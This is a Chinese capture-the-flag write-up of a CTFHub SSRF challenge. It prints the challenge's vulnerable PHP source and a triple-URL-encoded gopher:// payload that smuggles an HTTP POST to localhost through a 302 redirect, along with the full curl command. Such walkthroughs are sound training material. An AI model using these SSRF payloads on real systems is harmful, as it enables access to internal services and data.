CTFHUB SSRF POST请求
废话
首先
开始解题
构造gopher数据
构造获取flag的请求
废话
最近ctfhub新添加了一些题目,看到有ssrf的题目便去试了一下,前面几个都比较简单就暂时先不写,post 请求那个折腾了几天终于弄懂了,把过程记录下。
首先
我们看下题目描述,这个肯定是不能错过的。
*描述:发一个HTTP POST请求.ssrf是用php的curl实现的.并且会跟踪302跳转.
开始解题
我们打开题目,发现了flag.php 302.php index.php 三个文件。用直接访问flag.php提示我们需要从127.0.0.1访问。
于是使用http协议从127.0.0.1访问看看。
查看源代码。
查看302.php,发现了可以构造url用302跳转。
其实这里我们还可以通过fiile://协议去读每一个文件,但是需要知道绝对路径,ctfhub的web绝对路径一般是:
/var/www/html/
flag.php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if(isset($_POST["key"]) && $_POST["key"] == $key){
echo $flag;
exit;
}
?>
index.php
error_reporting(0);
header("Help: here is 302.php");
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
302.php就不贴了,直接给了源代码的。
至此大概了解了本题的思路。需要我们用gopher协议通过302.php的跳转去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。
构造gopher数据
我们首先要通过{host}:{port}/index.php?url=http://127.0.0.1/302.php去跳转gopher的协议。
gopher的数据应该是这样:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36#特别注意此处的长度,长度不对也是不行的。
Content-Type: application/x-www-form-urlencoded
key=a96c4130c73185e519003c24968e7517 #key需要去通过127.0.0.1访问flag.php获取,也就是flag的MD5值。
以上数据包内容缺一不可
特别注意Content-Length的长度,这个字段必须有,并且长度不对也是不行的。我不会告诉你我在这里被坑了一天_
注意更改key
gopher的数据需要用url编码三次之后再发送。
gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520127.0.0.1%253a80%25250d%25250aContent-Length%25253a%25252036%25250d%25250aContent-Type%25253a%252520application%25252fx-www-form-urlencoded%25250d%25250a%25250d%25250akey%253defba86faaeaff11dea094633e47cd06a
构造获取flag的请求
curl -vvv 'http://challenge-de43eaec0618623b.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520127.0.0.1%253a80%25250d%25250aContent-Length%25253a%25252036%25250d%25250aContent-Type%25253a%252520application%25252fx-www-form-urlencoded%25250d%25250a%25250d%25250akey%253defba86faaeaff11dea094633e47cd06a'
稍等片刻,flag返回。
其实也可以用burp也一样。
先结束吧,后面有时间再做下后面几题。
【持续更新】
ssrf参考:Legend__Lin’SSRF基础:Gopher协议发送Get和Post请求